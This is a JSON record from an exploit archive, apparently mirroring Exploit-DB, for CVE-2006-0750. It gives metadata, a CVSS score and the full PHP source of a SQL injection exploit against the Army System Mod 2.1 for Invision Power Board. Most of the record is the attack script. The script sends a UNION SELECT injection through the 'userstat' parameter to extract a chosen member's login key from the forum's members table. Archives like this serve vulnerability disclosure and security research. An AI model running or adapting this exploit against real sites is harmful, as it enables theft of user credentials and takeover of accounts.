{"exploit":{"id":"EDB-1492","name":"Invision Power Board Army System Mod 2.1 - SQL Injection (SQLi)","description":"Invision Power Board Army System Mod 2.1 - SQL Injection (SQLi)","cves":["CVE-2006-0750"],"author":"fRoGGz","published":"2006-02-13","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1492","path":"exploits/php/webapps/1492.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1492.php","vulnerabilities":[{"id":"CVE-2006-0750","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in army.php in supersmashbrothers (SSB) Army System 2.1.0 for Invision Power Board (IPB) allows remote attackers to execute arbitrary SQL commands via the userstat parameter in an army action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0750","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0750"},"updatedAt":"2024-08-07T16:48:56.249Z","retrievedAt":"2026-11-27T16:12:04.211Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1492.png?v=2","url":"https://exploitbin.com/exploits/EDB-1492","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1492/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1492/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n/* --------------------------- EXPLOIT ---------------------------\nInvision Power Board Army System Mod 2.1 SQL Injection Exploit\nTested on: Latest version (2.1.0)\nDiscovered on: 06.02.2006 by Alex & fRoGGz\nCredits to: SecuBox Labs\n\nPLEASE READ THIS !\nThe query of the SQL Injection depends about the number of fields in the sql table\nWe have successfully tested the exploit on a new fresh IPB 2.1.x with Army\nSystem Mod 2.1 installed\n\nIN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n$target = \"http://site.com/forums/\"; // <--- Where ?\n$prefix = \"ibf_\"; // <--- SQL prefix ?\n$id = 1; // <--- Who ?\n\nprint_r(get_infos($target,$prefix,$id));\nif(!get_infos($target,$prefix,$id)) echo \"failed\";\n\nfunction get_infos($target,$prefix,$id) {\n\n    $inject = \"index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,\";\n    $inject.= \"1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\";\n    $inject.= \"1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,\";\n    $inject.= \"NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,\";\n    $inject.= \"NULL+FROM+\".$prefix.\"members+WHERE+id=\";\n\n    $filename = $target . $inject . $id;\n\n    $handle = fopen ($filename, \"r\");\n        $infos = array();\n\n        if (feof($handle)) { continue 2; }\n        if ( $handle ) {\n                while ( ($buffer = fgets( $handle )) )\n                {\n                        if ( strpos( $buffer, \"<td class='pformleft' width=\\\"35%\\\">Name</td>\") ) {\n                                $infos['md5'] = strip_tags ( fgets( $handle) );\n                break;\n                        }\n                }\n        }\n\n    fclose ($handle);\n\n        if (count($infos) == 1) return $infos;\n        return false;\n}\n?>\n\n# milw0rm.com [2006-02-13]","sha256":"483217033f5e11e69eb51c1af568654e4595de80efce35f291c688e2564c98a2","bytes":2234,"fetchedAt":"2026-11-27T16:12:00.991Z","encoding":"utf-8 (display only; download retains original bytes)"}